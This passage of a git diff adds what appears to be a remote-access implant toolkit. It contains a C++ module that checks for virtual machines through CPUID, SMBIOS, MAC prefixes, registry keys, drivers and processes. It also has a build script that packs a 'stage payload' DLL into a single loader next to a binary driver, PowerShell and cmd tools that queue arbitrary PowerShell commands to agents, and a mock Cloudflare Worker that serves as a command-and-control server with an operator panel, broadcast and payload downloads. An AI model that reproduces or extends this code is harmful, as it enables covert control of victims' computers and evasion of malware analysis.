nullptr); diff --git a/VmDetect.cpp b/VmDetect.cpp new file mode 100644 index 0000000..edab411 --- /dev/null +++ b/VmDetect.cpp @@ -0,0 +1,487 @@ +#include "Common.h" +#include "VmDetect.h" + +#include +#include +#include + +#pragma comment(lib, "iphlpapi.lib") + +static std::string ToLowerAscii(const std::string& in) +{ + std::string out = in; + + for (auto& c : out) + { + if (c >= 'A' && c <= 'Z') + c = (char)(c + 32); + } + + return out; +} + +static std::string NarrowAscii(const wchar_t* w) +{ + std::string out; + + if (!w) + return out; + + for (; *w; ++w) + { + if (*w < 128) + out.push_back((char)*w); + } + + return out; +} + +static bool ContainsAny(const std::string& haystackLower, std::initializer_list needles) +{ + for (const char* n : needles) + { + if (haystackLower.find(n) != std::string::npos) + return true; + } + + return false; +} + +// ---------------------------------------------------------------- CPUID + +struct CpuidResult +{ + bool hypervisorPresent = false; + std::string vendor; // raw 12-byte hypervisor vendor + std::string brand; +}; + +static CpuidResult QueryCpuid() +{ + CpuidResult r; + + int regs[4]{}; + __cpuid(regs, 0); + int maxLeaf = regs[0]; + + __cpuid(regs, 1); + r.hypervisorPresent = (regs[2] & (1 << 31)) != 0; + + if (maxLeaf >= 0x40000000) + { + int hv[4]{}; + __cpuid(hv, 0x40000000); + + char vendor[13]{}; + memcpy(vendor + 0, &hv[1], 4); + memcpy(vendor + 4, &hv[2], 4); + memcpy(vendor + 8, &hv[3], 4); + r.vendor = vendor; + + if (maxLeaf >= 0x40000001) + { + int b[4]{}; + __cpuid(b, 0x40000001); + + char brand[13]{}; + memcpy(brand + 0, &b[0], 4); + memcpy(brand + 4, &b[1], 4); + memcpy(brand + 8, &b[2], 4); + r.brand = brand; + } + } + + return r; +} + +// ---------------------------------------------------------------- SMBIOS + +static std::string ReadSmbiosStrings() +{ + std::string collected; + + DWORD size = GetSystemFirmwareTable('RSMB', 0, nullptr, 0); + + if (size < 8 || size > 1024 * 1024) + return collected; + + std::vector buf(size); + DWORD got = GetSystemFirmwareTable('RSMB', 0, buf.data(), size); + + if (got < 8) + return collected; + + const BYTE* data = buf.data(); + DWORD length = got; + + // Raw SMBIOS table: 8-byte header, then structure table. + DWORD tableLen = *(const DWORD*)(data + 4); + + if (tableLen == 0 || tableLen > length - 8) + tableLen = length - 8; + + const BYTE* p = data + 8; + const BYTE* end = data + 8 + tableLen; + + while (p + 4 <= end) + { + BYTE structLen = p[1]; + + if (structLen < 4 || p + structLen > end) + break; + + const BYTE* strings = p + structLen; + + // Strings: NUL-terminated ASCII, double NUL ends the list. + while (strings + 1 < end && !(strings[0] == 0 && strings[1] == 0)) + { + const char* s = (const char*)strings; + size_t len = strlen(s); + + collected += s; + collected += ' '; + + strings += len + 1; + } + + p = strings + 2; + } + + return collected; +} + +// ---------------------------------------------------------------- registry + +static bool RegKeyExists(HKEY root, const wchar_t* subKey) +{ + HKEY h = nullptr; + + if (RegOpenKeyExW(root, subKey, 0, KEY_READ, &h) != ERROR_SUCCESS) + return false; + + RegCloseKey(h); + return true; +} + +static std::string ReadDiskEnumValue() +{ + std::string out; + + HKEY h = nullptr; + + if (RegOpenKeyExW( + HKEY_LOCAL_MACHINE, + L"SYSTEM\\CurrentControlSet\\Services\\Disk\\Enum", + 0, + KEY_READ, + &h) != ERROR_SUCCESS) + { + return out; + } + + wchar_t buf[1024]{}; + DWORD size = sizeof(buf); + DWORD type = 0; + + if (RegQueryValueExW(h, L"0", nullptr, &type, (LPBYTE)buf, &size) == ERROR_SUCCESS && + (type == REG_SZ || type == REG_EXPAND_SZ)) + { + out = NarrowAscii(buf); + } + + RegCloseKey(h); + return out; +} + +// ---------------------------------------------------------------- network + +static bool HasVirtualMac() +{ + // Vendor OUIs that only appear on virtual adapters. + static const BYTE oui[][3] = + { + { 0x00, 0x0C, 0x29 }, // VMware + { 0x00, 0x50, 0x56 }, // VMware + { 0x00, 0x05, 0x69 }, // VMware + { 0x00, 0x1C, 0x14 }, // VMware + { 0x08, 0x00, 0x27 }, // VirtualBox + { 0x52, 0x54, 0x00 }, // QEMU / KVM + { 0x00, 0x16, 0x3E }, // Xen + { 0x00, 0x15, 0x5D }, // Hyper-V + { 0x00, 0x03, 0xFF }, // Microsoft virtual + { 0x00, 0x1C, 0x42 }, // Parallels + }; + + ULONG size = 16 * 1024; + std::vector buf(size); + + ULONG ret = GetAdaptersInfo((PIP_ADAPTER_INFO)buf.data(), &size); + + if (ret == ERROR_BUFFER_OVERFLOW) + { + buf.resize(size); + ret = GetAdaptersInfo((PIP_ADAPTER_INFO)buf.data(), &size); + } + + if (ret != ERROR_SUCCESS) + return false; + + for (PIP_ADAPTER_INFO a = (PIP_ADAPTER_INFO)buf.data(); a; a = a->Next) + { + for (const auto& prefix : oui) + { + if (a->AddressLength >= 3 && + a->Address[0] == prefix[0] && + a->Address[1] == prefix[1] && + a->Address[2] == prefix[2]) + { + return true; + } + } + } + + return false; +} + +// ---------------------------------------------------------------- artifacts + +static bool HasVmServices() +{ + static const wchar_t* services[] = + { + L"SYSTEM\\CurrentControlSet\\Services\\VBoxService", + L"SYSTEM\\CurrentControlSet\\Services\\VBoxGuest", + L"SYSTEM\\CurrentControlSet\\Services\\VBoxMouse", + L"SYSTEM\\CurrentControlSet\\Services\\VBoxSF", + L"SYSTEM\\CurrentControlSet\\Services\\VBoxWddm", + L"SYSTEM\\CurrentControlSet\\Services\\vmci", + L"SYSTEM\\CurrentControlSet\\Services\\vmhgfs", + L"SYSTEM\\CurrentControlSet\\Services\\VMTools", + L"SYSTEM\\CurrentControlSet\\Services\\vmrawdsk", + L"SYSTEM\\CurrentControlSet\\Services\\vmusbmouse", + L"SYSTEM\\CurrentControlSet\\Services\\vm3dservice", + L"SYSTEM\\CurrentControlSet\\Services\\vmmouse", + L"SYSTEM\\CurrentControlSet\\Services\\xenvdb", + L"SYSTEM\\CurrentControlSet\\Services\\xenbus", + }; + + for (const wchar_t* s : services) + { + if (RegKeyExists(HKEY_LOCAL_MACHINE, s)) + return true; + } + + return false; +} + +static bool HasVmDriversOnDisk() +{ + static const wchar_t* files[] = + { + L"C:\\Windows\\System32\\drivers\\VBoxGuest.sys", + L"C:\\Windows\\System32\\drivers\\VBoxMouse.sys", + L"C:\\Windows\\System32\\drivers\\VBoxSF.sys", + L"C:\\Windows\\System32\\drivers\\vmmouse.sys", + L"C:\\Windows\\System32\\drivers\\vmhgfs.sys", + L"C:\\Windows\\System32\\drivers\\vmrawdsk.sys", + L"C:\\Windows\\System32\\drivers\\vmusbmouse.sys", + L"C:\\Windows\\System32\\VBoxService.exe", + L"C:\\Windows\\System32\\VBoxTray.exe", + }; + + for (const wchar_t* f : files) + { + DWORD attr = GetFileAttributesW(f); + + if (attr != INVALID_FILE_ATTRIBUTES && !(attr & FILE_ATTRIBUTE_DIRECTORY)) + return true; + } + + return false; +} + +static bool HasVmProcesses() +{ + static const wchar_t* names[] = + { + L"VBoxService.exe", + L"VBoxTray.exe", + L"vmtoolsd.exe", + L"vmwaretray.exe", + L"vmwareuser.exe", + L"VGAuthService.exe", + L"qemu-ga.exe", + L"xenservice.exe", + }; + + HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + + if (snap == INVALID_HANDLE_VALUE) + return false; + + PROCESSENTRY32W pe{}; + pe.dwSize = sizeof(pe); + + bool found = false; + + if (Process32First(snap, &pe)) + { + do + { + for (const wchar_t* n : names) + { + if (_wcsicmp(pe.szExeFile, n) == 0) + { + found = true; + break; + } + } + + if (found) + break; + } while (Process32Next(snap, &pe)); + } + + CloseHandle(snap); + return found; +} + +// ---------------------------------------------------------------- public + +bool IsVirtualMachine(std::wstring* reason) +{ + auto setReason = [reason](const wchar_t* text) + { + if (reason) + *reason = text; + }; + + if (reason) + reason->clear(); + + CpuidResult cpu = QueryCpuid(); + + // A hypervisor bit alone is not proof: VBS / Credential Guard / Hyper-V + // on bare metal sets it too. Strong vendors are decisive. + if (cpu.hypervisorPresent) + { + const std::string vendor = cpu.vendor; + + if (vendor == "VMwareVMware") { setReason(L"cpuid: VMware"); return true; } + if (vendor == "VBoxVBoxVBox") { setReason(L"cpuid: VirtualBox"); return true; } + if (vendor == "KVMKVMKVM") { setReason(L"cpuid: KVM"); return true; } + if (vendor == "XenVMMXenVMM") { setReason(L"cpuid: Xen"); return true; } + if (vendor.rfind("TCGTCGTCG", 0) == 0) { setReason(L"cpuid: QEMU TCG"); return true; } + if (vendor == "bhyve bhyve") { setReason(L"cpuid: bhyve"); return true; } + if (vendor == "VServerVServer") { setReason(L"cpuid: Virtual Server"); return true; } + } + + const std::string smbios = ToLowerAscii(ReadSmbiosStrings()); + + if (ContainsAny(smbios, { "virtualbox", "vmware", "qemu", "kvm", "bochs", "parallels", "xen", "virtual machine", "hyper-v" })) + { + setReason(L"smbios: virtual vendor string"); + return true; + } + + if (cpu.hypervisorPresent && cpu.vendor == "Microsoft Hv") + { + // Hyper-V guest: confirmed by SMBIOS containing "virtual machine" + // (handled above) or by Hyper-V integration services. + if (RegKeyExists(HKEY_LOCAL_MACHINE, L"SYSTEM\\CurrentControlSet\\Services\\vmicheartbeat")) + { + setReason(L"hyperv: integration services"); + return true; + } + + if (HasVirtualMac()) + { + setReason(L"hyperv: virtual MAC"); + return true; + } + } + + std::string diskEnum = ToLowerAscii(ReadDiskEnumValue()); + + if (ContainsAny(diskEnum, { "vbox", "vmware", "qemu", "xen", "virtio" })) + { + setReason(L"disk enum: virtual controller"); + return true; + } + + if (HasVmServices()) + { + setReason(L"registry: guest service installed"); + return true; + } + + if (HasVmDriversOnDisk()) + { + setReason(L"driver: guest driver present"); + return true; + } + + if (HasVmProcesses()) + { + setReason(L"process: guest helper running"); + return true; + } + + if (HasVirtualMac()) + { + setReason(L"network: virtual MAC OUI"); + return true; + } + + return false; +} + +#ifndef ARDRV_ALLOW_VM_DEFAULT +#define ARDRV_ALLOW_VM_DEFAULT 0 +#endif + +bool VmOverrideRequested(int argc, wchar_t** argv) +{ +#if ARDRV_ALLOW_VM_DEFAULT + // Built for lab/testing images that are themselves virtual machines. + (void)argc; + (void)argv; + return true; +#endif + + for (int i = 1; i < argc; ++i) + { + if (argv[i] && (_wcsicmp(argv[i], L"--allow-vm") == 0 || + _wcsicmp(argv[i], L"-allow-vm") == 0)) + { + return true; + } + } + + wchar_t env[64]{}; + DWORD n = GetEnvironmentVariableW(L"ARDRV_ALLOW_VM", env, _countof(env)); + + if (n > 0 && n < _countof(env) && (env[0] == L'1' || env[0] == L'y' || env[0] == L'Y')) + return true; + + HKEY h = nullptr; + + if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\ArDrvLoader", 0, KEY_READ, &h) == ERROR_SUCCESS) + { + DWORD value = 0; + DWORD size = sizeof(value); + DWORD type = 0; + + bool enabled = + RegQueryValueExW(h, L"AllowVm", nullptr, &type, (LPBYTE)&value, &size) == ERROR_SUCCESS && + type == REG_DWORD && + value != 0; + + RegCloseKey(h); + + if (enabled) + return true; + } + + return false; +} diff --git a/VmDetect.h b/VmDetect.h new file mode 100644 index 0000000..46e9713 --- /dev/null +++ b/VmDetect.h @@ -0,0 +1,13 @@ +#pragma once + +#include + +#include + +// Returns true when the machine looks like a virtual machine or hypervisor +// guest. When 'reason' is provided it receives a short human-readable cause. +bool IsVirtualMachine(std::wstring* reason = nullptr); + +// --allow-vm on the command line, ARDRV_ALLOW_VM=1, or AllowVm=1 under +// HKLM\SOFTWARE\ArDrvLoader. Any of them disables the VM block. +bool VmOverrideRequested(int argc, wchar_t** argv); diff --git a/agent-cli.ps1 b/agent-cli.ps1 new file mode 100644 index 0000000..1bd5f77 --- /dev/null +++ b/agent-cli.ps1 @@ -0,0 +1,107 @@ +# Small helper for driving the agent: enqueues one command and waits for the ACK. +# +# powershell -File agent-cli.ps1 -Command "STATUS" +# powershell -File agent-cli.ps1 -Status +# powershell -File agent-cli.ps1 -Command "PS Get-Process | Select -First 3" +# +# Uses the same HMAC scheme the agent does, so it works against the mock worker +# and the real Cloudflare Worker alike. + +param( + [string]$Worker = "http://127.0.0.1:8788", + [string]$Agent = "testagent", + [string]$Secret = "testsecret", + [string]$Command = "", + [switch]$Status, + [int]$TimeoutSec = 30 +) + +$ErrorActionPreference = "Stop" + +function Get-Sha256Hex([byte[]]$Bytes) +{ + $sha = [System.Security.Cryptography.SHA256]::Create() + try + { + if ($null -eq $Bytes -or $Bytes.Length -eq 0) { $stream = New-Object System.IO.MemoryStream } + else { $stream = New-Object System.IO.MemoryStream(, $Bytes) } + return ([BitConverter]::ToString($sha.ComputeHash($stream)) -replace "-", "").ToLower() + } + finally { $sha.Dispose() } +} + +function Get-HmacHex([string]$Key, [string]$Message) +{ + $hmac = New-Object System.Security.Cryptography.HMACSHA256 + try + { + $hmac.Key = [System.Text.Encoding]::UTF8.GetBytes($Key) + return ([BitConverter]::ToString($hmac.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Message))) -replace "-", "").ToLower() + } + finally { $hmac.Dispose() } +} + +function Invoke-Worker([string]$Path, [string]$Method = "GET", [byte[]]$Body) +{ + if ($null -eq $Body) { $Body = [byte[]]@() } + + $ts = [string][DateTimeOffset]::UtcNow.ToUnixTimeSeconds() + $canonical = "$Agent`n$ts`n$Method`n$($Path.TrimStart('/'))`n$(Get-Sha256Hex $Body)" + $headers = @{ + "X-Agent-Id" = $Agent + "X-Agent-Ts" = $ts + "X-Agent-Sign" = (Get-HmacHex $Secret $canonical) + } + + if ($Method -eq "POST") + { + return Invoke-WebRequest -Method Post -Uri "$Worker$Path" -Body ([byte[]]$Body) ` + -ContentType "application/octet-stream" -Headers $headers -UseBasicParsing + } + + return Invoke-WebRequest -Uri "$Worker$Path" -Headers $headers -UseBasicParsing +} + +function Decode-Last([string]$Value) +{ + if (-not $Value) { return "" } + + try { return [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($Value)) } + catch { return $Value } +} + +if ($Status) +{ + $s = (Invoke-Worker -Path "/status").Content | ConvertFrom-Json + "agent=$($s.agent) queued=$($s.queued) pending=$([bool]$s.pending)" + if ($s.last) { Decode-Last $s.last } + exit 0 +} + +if (-not $Command) +{ + throw "Usage: agent-cli.ps1 -Command '' | -Status" +} + +$before = (Invoke-Worker -Path "/status").Content | ConvertFrom-Json +$initialLast = $before.last + +$null = Invoke-Worker -Path "/enqueue" -Method POST -Body ([System.Text.Encoding]::UTF8.GetBytes($Command)) + +$deadline = (Get-Date).AddSeconds($TimeoutSec) +$seenPending = $false + +while ((Get-Date) -lt $deadline) +{ + Start-Sleep -Milliseconds 400 + + $s = (Invoke-Worker -Path "/status").Content | ConvertFrom-Json + + if ($s.pending) { $seenPending = $true; continue } + + if ($s.last -and $s.last -ne $initialLast) { Decode-Last $s.last; exit 0 } + if ($seenPending -and $s.last) { Decode-Last $s.last; exit 0 } +} + +Write-Host "" +exit 1 diff --git a/agent.cmd b/agent.cmd new file mode 100644 index 0000000..f58229b --- /dev/null +++ b/agent.cmd @@ -0,0 +1,32 @@ +@echo off +rem Wrapper so the helper runs regardless of the machine execution policy. +rem +rem agent.cmd STATUS +rem agent.cmd "PS Get-Date" +rem agent.cmd -Status +rem agent.cmd -Command "HOST_LIST" + +setlocal + +if "%~1"=="" goto usage + +set "FIRST=%~1" +if "%FIRST:~0,1%"=="-" goto asflag + +powershell -NoProfile -ExecutionPolicy Bypass -File "%~dp0agent-cli.ps1" -Command %* +goto end + +:asflag +powershell -NoProfile -ExecutionPolicy Bypass -File "%~dp0agent-cli.ps1" %* +goto end + +:usage +echo Usage: +echo agent.cmd STATUS +echo agent.cmd "PS Get-Date" +echo agent.cmd -Status +echo agent.cmd -Command "HOST_LIST" +exit /b 1 + +:end +exit /b %ERRORLEVEL% diff --git a/ardrv.sys b/ardrv.sys new file mode 100644 index 0000000..9dbb374 Binary files /dev/null and b/ardrv.sys differ diff --git a/build.ps1 b/build.ps1 new file mode 100644 index 0000000..2e4a7bb --- /dev/null +++ b/build.ps1 @@ -0,0 +1,94 @@ +# Builds the whole package in the right order: +# 1. stage payload DLL +# 2. copy it next to the project so the loader can pack it as a resource +# 3. loader executable +# +# powershell -ExecutionPolicy Bypass -File build.ps1 [-Configuration Release] [-SkipPayload] +# +# Without -SkipPayload the result is a single self-contained ArDrvLoader.exe that +# carries ardrvstage.dll inside it and drops it into the stage dir at runtime. + +param( + [ValidateSet("Debug", "Release")] + [string]$Configuration = "Release", + [switch]$SkipPayload, + [switch]$NoEmbed +) + +$ErrorActionPreference = "Stop" + +$msbuild = "C:\Program Files\Microsoft Visual Studio\18\Community\MSBuild\Current\Bin\MSBuild.exe" + +if (-not (Test-Path -LiteralPath $msbuild)) +{ + throw "MSBuild not found: $msbuild" +} + +$root = $PSScriptRoot +$payload = Join-Path $root "ardrvstage.dll" + +if (-not $SkipPayload -and -not $NoEmbed) +{ + Write-Host "== building stage payload ($Configuration) ==" + & $msbuild (Join-Path $root "StageDll.vcxproj") /p:Configuration=$Configuration /p:Platform=x64 /m /v:minimal + + if ($LASTEXITCODE -ne 0) + { + throw "stage payload build failed" + } + + $built = Join-Path $root "x64\$Configuration\ardrvstage.dll" + + if (-not (Test-Path -LiteralPath $built)) + { + throw "payload not produced: $built" + } + + Copy-Item -LiteralPath $built -Destination $payload -Force + Write-Host "== payload staged at $payload ==" +} +else +{ + Write-Host "== payload build skipped ==" +} + +Write-Host "== building loader ($Configuration) ==" + +$extra = @() +if ($NoEmbed) { $extra += "/p:EmbedPayload=false" } + +& $msbuild (Join-Path $root "ArDrvLoader.vcxproj") /p:Configuration=$Configuration /p:Platform=x64 /m /v:minimal @extra + +if ($LASTEXITCODE -ne 0) +{ + throw "loader build failed" +} + +$exe = Join-Path $root "x64\$Configuration\ArDrvLoader.exe" + +if (-not (Test-Path -LiteralPath $exe)) +{ + throw "loader not produced: $exe" +} + +$dll = Join-Path $root "x64\$Configuration\ardrvstage.dll" + +# The payload only exists to be embedded. Drop the per-config copy so the output +# folder is not mistaken for something that has to ship alongside the exe. +if (Test-Path -LiteralPath $dll) +{ + Remove-Item -LiteralPath $dll -Force -ErrorAction SilentlyContinue +} + +# Single-file deliverable. +$dist = Join-Path $root "dist\$Configuration" +New-Item -ItemType Directory -Force -Path $dist | Out-Null +Copy-Item -LiteralPath $exe -Destination (Join-Path $dist "ArDrvLoader.exe") -Force + +$exeSize = (Get-Item -LiteralPath $exe).Length + +Write-Host "" +Write-Host "single file : $dist\ArDrvLoader.exe ($exeSize bytes)" +Write-Host "build output: $exe (plus .pdb/.ipdb artifacts)" + +exit 0 diff --git a/cloudflare/mock-worker.ps1 b/cloudflare/mock-worker.ps1 new file mode 100644 index 0000000..1a716ad --- /dev/null +++ b/cloudflare/mock-worker.ps1 @@ -0,0 +1,466 @@ +# Local stand-in for the Cloudflare Worker. +# +# Mirrors the D1-backed API in memory so the panel can be exercised without +# deploying: same HMAC for agents, same operator key for /api/*, and /panel is +# served straight out of worker.js so there is only one copy of the UI. +# +# powershell -File mock-worker.ps1 -Port 8788 -Secret testsecret -OperatorKey testop -FileDir C:\payloads +# +# Panel: http://127.0.0.1:8788/panel (key: testop) + +param( + [int]$Port = 8788, + [string]$Secret = "testsecret", + [string]$OperatorKey = "testop", + [string]$EnrollSecret = "testop", + [string]$FileDir = "." +) + +$ErrorActionPreference = "Stop" + +$prefix = "http://127.0.0.1:$Port/" +$listener = New-Object System.Net.HttpListener +$listener.Prefixes.Add($prefix) +$listener.Start() + +$state = @{ + agents = @{} + commands = New-Object System.Collections.ArrayList +} + +function Get-Sha256Hex([byte[]]$Bytes) +{ + $sha = [System.Security.Cryptography.SHA256]::Create() + try + { + if ($null -eq $Bytes -or $Bytes.Length -eq 0) { $stream = New-Object System.IO.MemoryStream } + else { $stream = New-Object System.IO.MemoryStream(, $Bytes) } + return ([BitConverter]::ToString($sha.ComputeHash($stream)) -replace "-", "").ToLower() + } + finally { $sha.Dispose() } +} + +function Get-HmacHex([string]$Key, [string]$Message) +{ + $hmac = New-Object System.Security.Cryptography.HMACSHA256 + try + { + $hmac.Key = [System.Text.Encoding]::UTF8.GetBytes($Key) + $hash = $hmac.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Message)) + return ([BitConverter]::ToString($hash) -replace "-", "").ToLower() + } + finally { $hmac.Dispose() } +} + +function Get-AgentSecret([string]$AgentId) +{ + return Get-HmacHex $Secret ("agent:" + $AgentId) +} + +function Send-Bytes([System.Net.HttpListenerResponse]$Response, [byte[]]$Bytes, [int]$Status = 200, [string]$ContentType = "text/plain; charset=utf-8") +{ + $Response.StatusCode = $Status + $Response.ContentType = $ContentType + $Response.Headers["Cache-Control"] = "no-store" + $Response.ContentLength64 = $Bytes.Length + if ($Bytes.Length -gt 0) { $Response.OutputStream.Write($Bytes, 0, $Bytes.Length) } + $Response.OutputStream.Close() +} + +function Send-Text([System.Net.HttpListenerResponse]$Response, [string]$Text, [int]$Status = 200) +{ + Send-Bytes -Response $Response -Bytes ([System.Text.Encoding]::UTF8.GetBytes($Text)) -Status $Status +} + +function Send-Json([System.Net.HttpListenerResponse]$Response, $Data, [int]$Status = 200) +{ + Send-Bytes -Response $Response -Bytes ([System.Text.Encoding]::UTF8.GetBytes(($Data | ConvertTo-Json -Compress -Depth 8))) -Status $Status -ContentType "application/json; charset=utf-8" +} + +function Get-PanelHtml +{ + $panel = Join-Path $PSScriptRoot "..\server\panel.html" + + if (-not (Test-Path -LiteralPath $panel)) + { + return "

panel.html missing

" + } + + return Get-Content -LiteralPath $panel -Raw -Encoding UTF8 +} + +$panel = Get-PanelHtml +$epoch = [DateTimeOffset]::UtcNow.ToUnixTimeSeconds() +$utcNow = { [int][DateTimeOffset]::UtcNow.ToUnixTimeSeconds() } + +Write-Host "mock worker on $prefix (operator key: $OperatorKey)" + +try +{ + while ($listener.IsListening) + { + $ctx = $listener.GetContext() + $req = $ctx.Request + $res = $ctx.Response + + try + { + $path = $req.Url.AbsolutePath + $query = $req.Url.Query + + $memory = New-Object System.IO.MemoryStream + $req.InputStream.CopyTo($memory) + $bodyBytes = $memory.ToArray() + $bodyText = [System.Text.Encoding]::UTF8.GetString($bodyBytes) + + $params = @{} + foreach ($pair in ($query.TrimStart("?") -split "&")) + { + if (-not $pair) { continue } + $kv = $pair -split "=", 2 + $params[[uri]::UnescapeDataString($kv[0])] = if ($kv.Count -gt 1) { [uri]::UnescapeDataString($kv[1]) } else { "" } + } + + # ---------------------------------------------------------- panel + if ($path -eq "/" -or $path -eq "/panel") + { + Send-Bytes $res ([System.Text.Encoding]::UTF8.GetBytes($panel)) 200 "text/html; charset=utf-8" + continue + } + + # ------------------------------------------------------ operator API + if ($path.StartsWith("/api/")) + { + $isEnroll = ($path -eq "/api/enroll") + + $key = [string]$req.Headers["X-Operator-Key"] + if (-not $key) { $key = [string]$params["key"] } + + if (-not $isEnroll -and $key -ne $OperatorKey) + { + Send-Json $res @{ ok = $false; error = "denied" } 403 + continue + } + + $nowTs = & $utcNow + + if ($path -eq "/api/enroll" -and $req.HttpMethod -eq "POST") + { + $provided = [string]$req.Headers["X-Enroll-Secret"] + + if ($provided -ne $EnrollSecret) + { + Send-Json $res @{ ok = $false; error = "enroll denied" } 403 + continue + } + + $payload = $bodyText | ConvertFrom-Json + + if (-not $payload.agent) + { + Send-Json $res @{ ok = $false; error = "valid agent id required" } 400 + continue + } + + if (-not $state.agents.ContainsKey($payload.agent)) + { + $state.agents[$payload.agent] = @{ + first_seen = $nowTs; last_seen = $nowTs; host = ""; user = ""; + sid = ""; version = ""; interval = 15000; system = $false; revoked = $false + } + } + + $state.agents[$payload.agent].revoked = $false + + Send-Json $res @{ ok = $true; agent = $payload.agent; secret = (Get-AgentSecret $payload.agent) } + continue + } + + if ($path -eq "/api/revoke" -and $req.HttpMethod -eq "POST") + { + $payload = $bodyText | ConvertFrom-Json + + if (-not $payload.agent) + { + Send-Json $res @{ ok = $false; error = "agent required" } 400 + continue + } + + if (-not $state.agents.ContainsKey($payload.agent)) + { + $state.agents[$payload.agent] = @{ + first_seen = $nowTs; last_seen = $nowTs; host = ""; user = ""; + sid = ""; version = ""; interval = 15000; system = $false; revoked = $false + } + } + + $state.agents[$payload.agent].revoked = ($payload.revoked -ne $false) + + Send-Json $res @{ ok = $true; agent = $payload.agent; revoked = [bool]$state.agents[$payload.agent].revoked } + continue + } + + if ($path -eq "/api/agents") + { + $list = @() + foreach ($id in $state.agents.Keys) + { + $a = $state.agents[$id] + $queued = @($state.commands | Where-Object { $_.agent -eq $id -and $_.state -eq "queued" }).Count + $interval = if ($a.interval) { $a.interval } else { 15000 } + $list += @{ + id = $id + host = $a.host + user = $a.user + sid = $a.sid + version = $a.version + interval = $interval + system = [bool]$a.system + revoked = [bool]$a.revoked + queued = $queued + first_seen = $a.first_seen + last_seen = $a.last_seen + age = $nowTs - $a.last_seen + online = (($nowTs - $a.last_seen) -lt [Math]::Max([int]($interval / 1000) * 3, 45)) + } + } + + Send-Json $res @{ ok = $true; now = $nowTs; agents = @($list | Sort-Object { $_.last_seen } -Descending) } + continue + } + + if ($path -eq "/api/stats") + { + $online = @($state.agents.Values | Where-Object { ($nowTs - $_.last_seen) -lt 300 }).Count + $byState = @{} + foreach ($c in $state.commands) { $byState[$c.state] = 1 + [int]$byState[$c.state] } + $stats = @($byState.Keys | ForEach-Object { @{ state = $_; n = $byState[$_] } }) + Send-Json $res @{ ok = $true; agents = $state.agents.Count; online = $online; commands = $stats } + continue + } + + if ($path -eq "/api/commands") + { + $agent = [string]$params["agent"] + $limit = if ($params["limit"]) { [int]$params["limit"] } else { 50 } + + $items = $state.commands + if ($agent) { $items = @($items | Where-Object { $_.agent -eq $agent }) } + + $out = @($items | Sort-Object created -Descending | Select-Object -First $limit | ForEach-Object { + @{ + id = $_.id; agent = $_.agent; text = $_.text; state = $_.state; + created = $_.created; sent = $_.sent; finished = $_.finished; + operator = $_.operator; result = $_.result + } + }) + + Send-Json $res @{ ok = $true; commands = $out } + continue + } + + if ($path -eq "/api/enqueue" -and $req.HttpMethod -eq "POST") + { + $payload = $bodyText | ConvertFrom-Json + + if (-not $payload.agent -or -not $payload.text) + { + Send-Json $res @{ ok = $false; error = "agent and text required" } 400 + continue + } + + $id = [guid]::NewGuid().ToString() + $null = $state.commands.Add([pscustomobject]@{ + id = $id; agent = $payload.agent; text = $payload.text; state = "queued"; + created = $nowTs; sent = 0; finished = 0; operator = "panel"; result = "" + }) + + Send-Json $res @{ ok = $true; id = $id } + continue + } + + if ($path -eq "/api/broadcast" -and $req.HttpMethod -eq "POST") + { + $payload = $bodyText | ConvertFrom-Json + $sentIds = @() + + foreach ($id in $state.agents.Keys) + { + $null = $state.commands.Add([pscustomobject]@{ + id = [guid]::NewGuid().ToString(); agent = $id; text = $payload.text; + state = "queued"; created = $nowTs; sent = 0; finished = 0; + operator = "broadcast"; result = "" + }) + $sentIds += $id + } + + Send-Json $res @{ ok = $true; sent = $sentIds.Count; agents = $sentIds } + continue + } + + Send-Json $res @{ ok = $false; error = "unknown endpoint" } 404 + continue + } + + # --------------------------------------------------------- files + if ($path -like "/file/*") + { + $name = [uri]::UnescapeDataString($path.Substring(6)) + $file = Join-Path $FileDir $name + + if (Test-Path -LiteralPath $file -PathType Leaf) + { + Send-Bytes $res ([System.IO.File]::ReadAllBytes($file)) 200 "application/octet-stream" + } + else + { + Send-Text $res "not found" 404 + } + continue + } + + # ------------------------------------------------------ agent auth + $agentHeader = [string]$req.Headers["X-Agent-Id"] + $ts = [string]$req.Headers["X-Agent-Ts"] + $sign = ([string]$req.Headers["X-Agent-Sign"]).ToLower() + + if (-not $agentHeader -or -not $ts -or -not $sign) + { + Send-Text $res "denied" 403 + continue + } + + $nowTs = & $utcNow + $tsNum = 0 + + if (-not [int]::TryParse($ts, [ref]$tsNum) -or [Math]::Abs($nowTs - $tsNum) -gt 300) + { + Send-Text $res "denied" 403 + continue + } + + $canonicalPath = $path.TrimStart("/") + $query + $canonical = "$agentHeader`n$ts`n$($req.HttpMethod)`n$canonicalPath`n$(Get-Sha256Hex $bodyBytes)" + + $derived = Get-AgentSecret $agentHeader + $masterOk = (Get-HmacHex $Secret $canonical) -eq $sign + $derivedOk = (Get-HmacHex $derived $canonical) -eq $sign + + if (-not ($masterOk -or $derivedOk)) + { + Send-Text $res "denied" 403 + continue + } + + $agent = $agentHeader + + if ($state.agents[$agent] -and $state.agents[$agent].revoked) + { + Send-Text $res "revoked" 403 + continue + } + + # ---------------------------------------------------- agent endpoints + if ($path -eq "/poll") + { + $existing = $state.agents[$agent] + $first = if ($existing) { $existing.first_seen } else { $nowTs } + + $state.agents[$agent] = @{ + first_seen = $first + last_seen = $nowTs + host = [string]$req.Headers["X-Agent-Host"] + user = [string]$req.Headers["X-Agent-User"] + sid = [string]$req.Headers["X-Agent-Sid"] + version = [string]$req.Headers["X-Agent-Version"] + interval = if ($req.Headers["X-Agent-Interval"]) { [int]$req.Headers["X-Agent-Interval"] } else { 15000 } + system = ([string]$req.Headers["X-Agent-System"]) -eq "1" + } + + $cmd = $state.commands | Where-Object { $_.agent -eq $agent -and $_.state -eq "queued" } | Sort-Object created | Select-Object -First 1 + + if (-not $cmd) + { + Send-Text $res "" 204 + continue + } + + $cmd.state = "sent" + $cmd.sent = $nowTs + + $b64 = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($cmd.text)) + Send-Text $res ("{0}`n{1}" -f $cmd.id, $b64) + continue + } + + if ($path -eq "/ack" -and $req.HttpMethod -eq "POST") + { + $id = [string]$params["id"] + + foreach ($c in $state.commands) + { + if ($c.id -eq $id -and $c.agent -eq $agent) + { + $decoded = $bodyText + + try { $decoded = 